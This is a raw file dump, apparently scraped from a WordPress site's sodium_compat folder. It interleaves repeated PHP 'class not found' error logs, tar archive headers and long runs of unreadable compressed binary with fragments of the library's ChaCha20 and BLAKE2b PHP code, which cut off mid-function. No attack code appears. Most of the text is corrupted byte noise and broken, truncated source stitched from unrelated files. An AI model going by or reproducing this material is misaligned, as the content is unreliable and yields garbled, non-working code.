/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Compat.php:4 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Compat.php on line 4 [04-Jun-2025 20:00:11 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Crypto" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Crypto.php:4 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Crypto.php on line 4 [15-Jun-2025 15:51:55 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/File.php:4 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/File.php on line 4 [19-Jun-2025 23:50:44 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Compat" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Compat.php:4 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Compat.php on line 4 [19-Jun-2025 23:50:55 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Crypto" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Crypto.php:4 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Crypto.php on line 4 [27-Jun-2025 20:11:06 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/File.php:4 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/File.php on line 4 [27-Jun-2025 21:54:30 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Compat" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Compat.php:4 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Compat.php on line 4 [28-Jun-2025 04:11:06 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Crypto" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Crypto.php:4 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Crypto.php on line 4 [11-Jul-2025 09:19:47 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/File.php:4 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/File.php on line 4 [11-Jul-2025 09:29:20 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Compat" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Compat.php:4 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Compat.php on line 4 [11-Jul-2025 09:48:53 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Crypto" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Crypto.php:4 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Crypto.php on line 4 PK&L[-44ova/ChaCha20.tarnu[860761/index.php000064400000000000150545320730007131 0ustar00index.php000064400000000000150545320730006356 0ustar00IetfCtx.php000064400000002452150545320730006632 0ustar00container[12] = self::load_4(self::substr($counter, 0, 4)); } $this->container[13] = self::load_4(self::substr($iv, 0, 4)); $this->container[14] = self::load_4(self::substr($iv, 4, 4)); $this->container[15] = self::load_4(self::substr($iv, 8, 4)); } } Ctx.php000064400000007546150545320730006033 0ustar00 */ protected $container; /** * ParagonIE_Sodium_Core_ChaCha20_Ctx constructor. * * @internal You should not use this directly from another application * * @param string $key ChaCha20 key. * @param string $iv Initialization Vector (a.k.a. nonce). * @param string $counter The initial counter value. * Defaults to 8 0x00 bytes. * @throws InvalidArgumentException * @throws TypeError */ public function __construct($key = '', $iv = '', $counter = '') { if (self::strlen($key) !== 32) { throw new InvalidArgumentException('ChaCha20 expects a 256-bit key.'); } if (self::strlen($iv) !== 8) { throw new InvalidArgumentException('ChaCha20 expects a 64-bit nonce.'); } $this->container = new SplFixedArray(16); /* "expand 32-byte k" as per ChaCha20 spec */ $this->container[0] = 0x61707865; $this->container[1] = 0x3320646e; $this->container[2] = 0x79622d32; $this->container[3] = 0x6b206574; $this->container[4] = self::load_4(self::substr($key, 0, 4)); $this->container[5] = self::load_4(self::substr($key, 4, 4)); $this->container[6] = self::load_4(self::substr($key, 8, 4)); $this->container[7] = self::load_4(self::substr($key, 12, 4)); $this->container[8] = self::load_4(self::substr($key, 16, 4)); $this->container[9] = self::load_4(self::substr($key, 20, 4)); $this->container[10] = self::load_4(self::substr($key, 24, 4)); $this->container[11] = self::load_4(self::substr($key, 28, 4)); if (empty($counter)) { $this->container[12] = 0; $this->container[13] = 0; } else { $this->container[12] = self::load_4(self::substr($counter, 0, 4)); $this->container[13] = self::load_4(self::substr($counter, 4, 4)); } $this->container[14] = self::load_4(self::substr($iv, 0, 4)); $this->container[15] = self::load_4(self::substr($iv, 4, 4)); } /** * @internal You should not use this directly from another application * * @param int $offset * @param int $value * @return void * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if (!is_int($offset)) { throw new InvalidArgumentException('Expected an integer'); } if (!is_int($value)) { throw new InvalidArgumentException('Expected an integer'); } $this->container[$offset] = $value; } /** * @internal You should not use this directly from another application * * @param int $offset * @return bool */ #[ReturnTypeWillChange] public function offsetExists($offset) { return isset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return void * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetUnset($offset) { unset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return mixed|null * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetGet($offset) { return isset($this->container[$offset]) ? $this->container[$offset] : null; } } error_log000064400000007170150545320730006472 0ustar00[18-May-2025 10:47:32 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10 [18-May-2025 11:27:27 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10 [05-Jun-2025 06:09:05 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10 [05-Jun-2025 07:50:18 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10 [17-Jun-2025 18:24:13 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10 [22-Jun-2025 20:26:01 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10 [26-Jun-2025 00:52:43 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10 [28-Jun-2025 15:43:16 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10 [28-Jun-2025 17:32:41 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10 [11-Jul-2025 10:43:08 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10 [11-Jul-2025 11:05:32 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10 PK&L[y  ova/AEGIS.tar.gznu[Zms8r%{((&|Mr<pe"O=dO$Y[Ufzԭnꞔqbg??cxݶo:a` o 2^w1=|vfLqQDiea}N^F|Σ2`ME3Y@RcK6 '4:R@+[%]lOsv+= \˳ѳD!N`u(* 峰k= ˾DfNtKV43_0zoXE#Xjwuk*~#U9# HZ< 漯XWТX']d٥H]5exJឺ&Qu7Qszf[vWIW'T$b_7 03M (/RNJErZ)&YB+}@ZpD4E# sv2˩7ěrGW`1L j]4+ʄ>nS583LZ^B QhK]^5"NZUTT/ 2҇aXXP!n37vww`[_s|wvm{ο2VoՖ¶)Y= [= ]W,[3c]{2@o9|rj5i[}Vgn[]ofTwugl]?ܗWDPK&L[%g_ova/BLAKE2b.php.php.tar.gznu[iG;F""+NO!WKp6I%Ć>=3>#8l8}Kp4X>]=qOd|6XXۂq4GFzc2`Y\="n)V~:u?EX::h/U1yu&0;!̬Ԗ[QxG:G (=K3+RneD)%7K*||V}uT届Ώ 2j-z[NV:-7%+;nνݶ3"q:>6s62bV4w4e01$!YQ~f-l]GQI\v*lg٪L )2;#4rFQ-cigw0.{"8%<ҔXtG29x0tn)&q>OhPa͌i+EPu . 8X+at=p.sz_.v{7cxАᡁa?u[6ltSYV_QL+TZmtsn-*]eo_iB-(e3o0#z[N7vqŭq>88 SGKoSii׳R.n8ĉ-|=6U9 y\0Br AN9d lX<<,䄌ԲI,o7I &l\g" iH?úeYjuB7 w<>0:[Dxn)/1 %dڕIC@nt0v|ܩ-3]ƝNC;7tF\:w뗎{cu˸^7]qs{W;9z3:933n;Zh#3uFAמ؛N{t60whyJ-fvԱ㎔Hf1S98lަϯPq}nNȧ-?o =AgR!YSܹ|}` uDGJ߃zI:YE3J0$QyeIM'ߦ`YQ֑t3Lگ4tG* —6Qa;IrӪI|XX"D|=rmt96D+s:` dW:RqMQ"WX`_ -^_RlͶl[j5j{ytnKi|*bCWR:*] V:^ψ t~lbleqYa9FV@A1&ԗAu,^mA9Ga9ߠ8 e Z)Z_YlgCޚ ؆\%2Jq@FD̍TcJ]ܮ=7\*?ItS_za7=ͩo9nj!qǘb9s9͍WZP൦Yi.)B NZܦAhhl R YAM><NWe@LmzooScoR{[ C.-YE_?Ui|daz0"ď6(6ONq zCicxkKPxt<\{GX*s47+~@+&oOS<DuǕ!ڭM&)I *GV*Z<CY_(o4Sr<5MYUjbHcNۖk/ab6뙗&u˵QZ3gfX[k1,BdAZZ!Yӏ̃0DRei7kK}\j^H>d% \i{Fş>׶O*oSE_<NJ䵸e;98L8ss:c!g3 !;Iyb ob DzSBb;Nm (&ZLb"6[<ʊ#Oo f)55|$3@O W[Ǿx@33.ڵC4֢Un7K9Dd>W%ZT@.=>;+e&y EI4mmn֧,Nk^$+c Z [/V|.I<ǬC(MRv|/)҈T:leWUYq*Ź4Ρw3F̞~k:)`ɢ9$q1?4XD0/bAՇt ϥ9t)Y?J&FQ_` 56=X'fo4ޔbV4Pjݬ\vm#. b5R0]lq\ڜ%(0OPr]7ą? VO)p?tμ0lb"a2kq)dH{_BhPO<*6}];/.5r6X0~NׁDy/p,Ǻ4CérRj+ \˭,0om?bKp{^:% _]"T)CaMM{J?+loUb ILZOVD3+[;[U^ț!(xը%=moѳzbEM,|)֤8<-4/U8nu^ rJz f$]6fߝLCJntA~;:&WtoYxbV]qay[?֧tL,u ލOR-}M+SRhD`= doGM Q=|.|:Uڪ麼y)] Dfq mLflD3 >8c'1˫L fŇT&KU󐅨󰸈ϣ׫<^}-^cxJ4[BO~y\_/fPK&L[. ova/Poly1305.tar.gznu[is5+޸LJ,@ZuF=HN* ␬I=@{ZPQjc]@\n,WϷLFne̯9t6 |FUdb/p g`xeS噱s({=x~^Qv`C C:68r?6èÄ uSpԽ?ހ]I{?M1)0xwQRI,SFj(Mqt\:gyrK7Kw*hmY^%bSb%dARDṠ<3)7Y,\b}o&ʄH,y9ZFvR*ӚݥMiG9+f$55 >k)տAU..?w0 V^9ow |Bnj."RK\?2׈ @Nk̪iQD>5su3$ - Gq*Mh:4MVpĪ!n W8͈omưUe MiSQTOdHjhkST̴mX2ʏ:@*ؔuCH: DC{ 27L&HH["PAgKOgMm3#Y:ututtֲҶ:Z:;z:;:kYi[ֶFqr3pחniXi<) zrTHjhj`jCnNSZĺ$TT,U"o =A*!Y,Tbo~XX,]"oyTT,S"ohZZxr'-luЧ8zx$lfH8QtWczMsI96SMj!sӳOb_(ekA9l>*Ʒj_|n"}\KN./͸] iyFYW3豈HW򪭼ԮTNV=4%BsS?_;NV]w 5Ɗ4kkv#:rAr#1@?ZKJFjnahlhgf8BԥQ| 4mpѥ,aI!4pc,/\n KwS;."pO.6p,u>q, r'6Cl͑$S3EիCs$Jc_mvL3zoDC0Gck8,pο;?u1sy{v Wt5Kxk dbv?ܽsISA<-؋ 2Fo|ހ& ՛c/GSǝߙV 0 qeRĥ--l-%j<ߌ[niÚ-ߌ-4_F̖Ili^l-?w{Y/e?ϺDPK&L[{Ŧova/File.php.php.tar.gznu[]{s۶蹞ZJe['8jIxlP$H I| Ӓ,L&2E.voj]\ϻ[݁;u{LC^z |o=̫ C7_O<~M.ZAhk~{`j~~7,iwzEFԧ&G. yӣǏޣA=q={GսٶOtd-/F#@o!###ZFsotm4w0p? /cwq.9bo=$x^7"#Y &1|SL)53׻e ylwoHW1[3 ZA]q_~s =l-ۙ/Gr"[?R"Jqe_7Y>% )/gwݓO`pn{Ej=ԁ&q]qC%}ם^Kf@:/oy'$3w &KZѽHMh?3PqvCD1.[2{/_~T &$ol{Ō:'3؃r6%cJn1n7m|J)RMI:yL)Ks$Cy q=z %WZhc*,$yJ33N(GG˷oyEUm@<u |Və8WԕHmO1~;i  F\ec]Lqˎ&6q `~زGssw%^$+M pcb'9r9F W3(]-`ula<|-nf-9B̸jwD-- b\ bȬz<y@ Xc)0/ߞ\}G `% O$7L]k+A)` JG5x6 9P}Q@_:K^|U6Ag x 6`@㽀4#عH A mH yuNU>Pϕ>yɷ|:'24b$[&k@ Jg-@ԚzC#2"s/$f@)<5t\t սl^dS@g^|zeYk: H\ArƈqMNvƠQfV1vz#ϝnYΰ;Y Biitb^!:5={ox̑`:Jo);퍩C={0F]E;bnd{~n@k<+a j'\AV5WbxÅL>^|S "KoU˙> _ufM]YI&,G(t/s33#ۡ_-϶Smc* +FNflP}EU>BָhuкUQV*Wk{eA#'Heu7ub:ethJ33uЮh;F HG 1)SXD$30zJ%]GsCr#[P>{ht4]S1\y T$O==LL77qŢ0fAH'w|%g!ƫsZ\i#ER`ǔQXSɏABoKd8 4C0cyQEnh wDֻw;6>r6E{Wɼ̊x+UR=\pc"#I>Xo3<)h2q ̆Hu$f?ƽ7|܇j\ܵ3qՀl &ںAZς ibOh: G7)42¨s(~8:OAl9ٶP q{cf7 ts[vC G"Cs+x2&)Р>< :%z'B5e mWK coAxƠHKT19Csxg ,@2Ofs(;hlkZ*t]6:H LC/y@=nm^_'T.&eE:S!ꐭsB5t%iY$0r|zTBV ySw'G>7cȾ G3 |yMaIb/ívK"nNYgҚ*șGwx?|KXk OFf 4c@}s$FrR!>,oMFkᇰXel~Hf? 757-C) " u_9Lhi{.h9]өJK)1޳h/JfǍЁ 2]R$ȧŴ"ER5YɅ)=x*83k/ ~EZ~ɗhrб?$R\9p; bN9jM/A \m1_Jz,sg3Τm0)·R6|G@nĄgX̕=g{E6YD&ͯi%fd;?mųx dСZV5*"'#ѾuDkh-;mVhaBKo :,+oEĀiF r1?@p#^au Sx^v'Wݘ+Ԝ ꂉ'10XP1,,F[/=y޴`OZwowMl\@TDa]|YwJsCIE1Qr2@a. 5VBJ(V]vsAT4wsowuڙ-K" D,0,?m0UVLv G\:Ƅ2xÁ6=ҍ߰ G'=Gf~WfpblXKѵXlb(Y kwi}*}Md 1D:gqAӌQ< YvT)X~k3K?)>[hN;- =ܵ&2BSK.-{.mI%**eLJ1 SɤjH1Zu=CE*>H )_\7)\;\Z"WYo5H<ʉńͮ)bb<9}=#bH OuI4u9ʕIbMjV'IW$1zJb"5Jj/6X^ֹ0x4Z>Dg>ܨ^to\mUVTw[g֙kMqu.o[>\:LKp~nSXta&edF[uml['7dۇl[*ةm Ϸ)"\j!z\Ahw >ߌ]9/Hݭ=Ԧd˒ }&v̙="VAh(`'| 7ro7 h)y|?~9PK&L[,#ova/ChaCha20.tar.gznu[Ymo6gkZ vzEnPX CDZdI^$ۑn 6uzܑw[dr:lDB14mx&/d]5]U$S㦬 mÙE'܅PLCՍ2;ʻ|EӕR'|vj{^;ƃqq"u?.kP"ST8c PY!.S5a>Ql jd>>O<;s8Č 76FЍ|֧0\p7Ctjh{cktݛdN|sMO*<*i\7HmZ[a))nɋkg%4W#N G-C/u>Fx@}4cw6 i;({LطIv:(U>$4ZK0|"QkYQw +=![۵3OE!πQry>2 'O0د|° e-N2G+tt77tQuxqFEߣN\Fr4v8:o4CJ,k/9LQ(Z.^5rٷީ#ۮBr꿩kRT; ]AQ+3EdѶ)c-i}rI4a\=kC1~D}:b6l-^Z֏Z D[-=m.DWwֆ|0iƉ2| 3s*Kd. {@ NЅt hL)-C5TU,Ef{TL<2Q{TձW=ZzOo4^&S2 `B0*cQQ)LqRΘu^z.hZ=^[H3D~苜!3R:v嫞$v &p2#ޠ0mϓYt}uG _ZtJ3oV͗.렿cե.RIFIcף 91U{KR$UjȚ,9{bb̅xgv\DnXI_0>.Ebl xϏ=oG)7~Y #QqxAo6+_]ȅܪ&"):Ȓ%| |"7$I,s&qϡ;{a M#.`@4Qt[7`{۰;5YOB›,9>5KK*#bSJ\&%ߖimMy([qh|-81?ǫWɰ#K|x~hZdɭ2?9UnYfjOEHK].3^t6ϝ̺בTK6uu?ˣh>-\K2MzՒ6SY~(co}-RJy?-4PK&L[h5iMova/constants.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/lib/constants.php000064400000010101150545320540023266 0ustar00> */ protected static $sigma = array( array( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15), array( 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3), array( 11, 8, 12, 0, 5, 2, 15, 13, 10, 14, 3, 6, 7, 1, 9, 4), array( 7, 9, 3, 1, 13, 12, 11, 14, 2, 6, 5, 10, 4, 0, 15, 8), array( 9, 0, 5, 7, 2, 4, 10, 15, 14, 1, 11, 12, 6, 8, 3, 13), array( 2, 12, 6, 10, 0, 11, 8, 3, 4, 13, 7, 5, 15, 14, 1, 9), array( 12, 5, 1, 15, 14, 13, 4, 10, 0, 7, 6, 3, 9, 2, 8, 11), array( 13, 11, 7, 14, 12, 1, 3, 9, 5, 0, 15, 4, 8, 6, 2, 10), array( 6, 15, 14, 9, 11, 3, 0, 8, 12, 2, 13, 7, 1, 4, 10, 5), array( 10, 2, 8, 4, 7, 6, 1, 5, 15, 11, 9, 14, 3, 12, 13 , 0), array( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15), array( 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3) ); const BLOCKBYTES = 128; const OUTBYTES = 64; const KEYBYTES = 64; /** * Turn two 32-bit integers into a fixed array representing a 64-bit integer. * * @internal You should not use this directly from another application * * @param int $high * @param int $low * @return SplFixedArray * @psalm-suppress MixedAssignment */ public static function new64($high, $low) { if (PHP_INT_SIZE === 4) { throw new SodiumException("Error, use 32-bit"); } $i64 = new SplFixedArray(2); $i64[0] = $high & 0xffffffff; $i64[1] = $low & 0xffffffff; return $i64; } /** * Convert an arbitrary number into an SplFixedArray of two 32-bit integers * that represents a 64-bit integer. * * @internal You should not use this directly from another application * * @param int $num * @return SplFixedArray */ protected static function to64($num) { list($hi, $lo) = self::numericTo64BitInteger($num); return self::new64($hi, $lo); } /** * Adds two 64-bit integers together, returning their sum as a SplFixedArray * containing two 32-bit integers (representing a 64-bit integer). * * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param SplFixedArray $y * @return SplFixedArray * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedOperand */ protected static function add64($x, $y) { if (PHP_INT_SIZE === 4) { throw new SodiumException("Error, use 32-bit"); } $l = ($x[1] + $y[1]) & 0xffffffff; return self::new64( (int) ($x[0] + $y[0] + ( ($l < $x[1]) ? 1 : 0 )), (int) $l ); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param SplFixedArray $y * @param SplFixedArray $z * @return SplFixedArray */ protected static function add364($x, $y, $z) { return self::add64($x, self::add64($y, $z)); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param SplFixedArray $y * @return SplFixedArray * @throws SodiumException * @throws TypeError */ protected static function xor64(SplFixedArray $x, SplFixedArray $y) { if (PHP_INT_SIZE === 4) { throw new SodiumException("Error, use 32-bit"); } if (!is_numeric($x[0])) { throw new SodiumException('x[0] is not an integer'); } if (!is_numeric($x[1])) { throw new SodiumException('x[1] is not an integer'); } if (!is_numeric($y[0])) { throw new SodiumException('y[0] is not an integer'); } if (!is_numeric($y[1])) { throw new SodiumException('y[1] is not an integer'); } return self::new64( (int) (($x[0] ^ $y[0]) & 0xffffffff), (int) (($x[1] ^ $y[1]) & 0xffffffff) ); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param int $c * @return SplFixedArray * @psalm-suppress MixedAssignment */ public static function rotr64($x, $c) { if (PHP_INT_SIZE === 4) { throw new SodiumException("Error, use 32-bit"); } if ($c >= 64) { $c %= 64; } if ($c >= 32) { /** @var int $tmp */ $tmp = $x[0]; $x[0] = $x[1]; $x[1] = $tmp; $c -= 32; } if ($c === 0) { return $x; } $l0 = 0; $c = 64 - $c; /** @var int $c */ if ($c < 32) { $h0 = ((int) ($x[0]) << $c) | ( ( (int) ($x[1]) & ((1 << $c) - 1) << (32 - $c) ) >> (32 - $c) ); $l0 = (int) ($x[1]) << $c; } else { $h0 = (int) ($x[1]) << ($c - 32); } $h1 = 0; $c1 = 64 - $c; if ($c1 < 32) { $h1 = (int) ($x[0]) >> $c1; $l1 = ((int) ($x[1]) >> $c1) | ((int) ($x[0]) & ((1 << $c1) - 1)) << (32 - $c1); } else { $l1 = (int) ($x[0]) >> ($c1 - 32); } return self::new64($h0 | $h1, $l0 | $l1); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @return int * @psalm-suppress MixedOperand */ protected static function flatten64($x) { return (int) ($x[0] * 4294967296 + $x[1]); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param int $i * @return SplFixedArray * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayOffset */ protected static function load64(SplFixedArray $x, $i) { /** @var int $l */ $l = (int) ($x[$i]) | ((int) ($x[$i+1]) << 8) | ((int) ($x[$i+2]) << 16) | ((int) ($x[$i+3]) << 24); /** @var int $h */ $h = (int) ($x[$i+4]) | ((int) ($x[$i+5]) << 8) | ((int) ($x[$i+6]) << 16) | ((int) ($x[$i+7]) << 24); return self::new64($h, $l); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param int $i * @param SplFixedArray $u * @return void * @psalm-suppress MixedAssignment */ protected static function store64(SplFixedArray $x, $i, SplFixedArray $u) { $maxLength = $x->getSize() - 1; for ($j = 0; $j < 8; ++$j) { /* [0, 1, 2, 3, 4, 5, 6, 7] ... becomes ... [0, 0, 0, 0, 1, 1, 1, 1] */ /** @var int $uIdx */ $uIdx = ((7 - $j) & 4) >> 2; $x[$i] = ((int) ($u[$uIdx]) & 0xff); if (++$i > $maxLength) { return; } /** @psalm-suppress MixedOperand */ $u[$uIdx] >>= 8; } } /** * This just sets the $iv static variable. * * @internal You should not use this directly from another application * * @return void */ public static function pseudoConstructor() { static $called = false; if ($called) { return; } self::$iv = new SplFixedArray(8); self::$iv[0] = self::new64(0x6a09e667, 0xf3bcc908); self::$iv[1] = self::new64(0xbb67ae85, 0x84caa73b); self::$iv[2] = self::new64(0x3c6ef372, 0xfe94f82b); self::$iv[3] = self::new64(0xa54ff53a, 0x5f1d36f1); self::$iv[4] = self::new64(0x510e527f, 0xade682d1); self::$iv[5] = self::new64(0x9b05688c, 0x2b3e6c1f); self::$iv[6] = self::new64(0x1f83d9ab, 0xfb41bd6b); self::$iv[7] = self::new64(0x5be0cd19, 0x137e2179); $called = true; } /** * Returns a fresh BLAKE2 context. * * @internal You should not use this directly from another application * * @return SplFixedArray * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment */ protected static function context() { $ctx = new SplFixedArray(6); $ctx[0] = new SplFixedArray(8); // h $ctx[1] = new SplFixedArray(2); // t $ctx[2] = new SplFixedArray(2); // f $ctx[3] = new SplFixedArray(256); // buf $ctx[4] = 0; // buflen $ctx[5] = 0; // last_node (uint8_t) for ($i = 8; $i--;) { $ctx[0][$i] = self::$iv[$i]; } for ($i = 256; $i--;) { $ctx[3][$i] = 0; } $zero = self::new64(0, 0); $ctx[1][0] = $zero; $ctx[1][1] = $zero; $ctx[2][0] = $zero; $ctx[2][1] = $zero; return $ctx; } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param SplFixedArray $buf * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset */ protected static function compress(SplFixedArray $ctx, SplFixedArray $buf) { $m = new SplFixedArray(16); $v = new SplFixedArray(16); for ($i = 16; $i--;) { $m[$i] = self::load64($buf, $i << 3); } for ($i = 8; $i--;) { $v[$i] = $ctx[0][$i]; } $v[ 8] = self::$iv[0]; $v[ 9] = self::$iv[1]; $v[10] = self::$iv[2]; $v[11] = self::$iv[3]; $v[12] = self::xor64($ctx[1][0], self::$iv[4]); $v[13] = self::xor64($ctx[1][1], self::$iv[5]); $v[14] = self::xor64($ctx[2][0], self::$iv[6]); $v[15] = self::xor64($ctx[2][1], self::$iv[7]); for ($r = 0; $r < 12; ++$r) { $v = self::G($r, 0, 0, 4, 8, 12, $v, $m); $v = self::G($r, 1, 1, 5, 9, 13, $v, $m); $v = self::G($r, 2, 2, 6, 10, 14, $v, $m); $v = self::G($r, 3, 3, 7, 11, 15, $v, $m); $v = self::G($r, 4, 0, 5, 10, 15, $v, $m); $v = self::G($r, 5, 1, 6, 11, 12, $v, $m); $v = self::G($r, 6, 2, 7, 8, 13, $v, $m); $v = self::G($r, 7, 3, 4, 9, 14, $v, $m); } for ($i = 8; $i--;) { $ctx[0][$i] = self::xor64( $ctx[0][$i], self::xor64($v[$i], $v[$i+8]) ); } } /** * @internal You should not use this directly from another application * * @param int $r * @param int $i * @param int $a * @param int $b * @param int $c * @param int $d * @param SplFixedArray $v * @param SplFixedArray $m * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayOffset */ public static function G($r, $i, $a, $b, $c, $d, 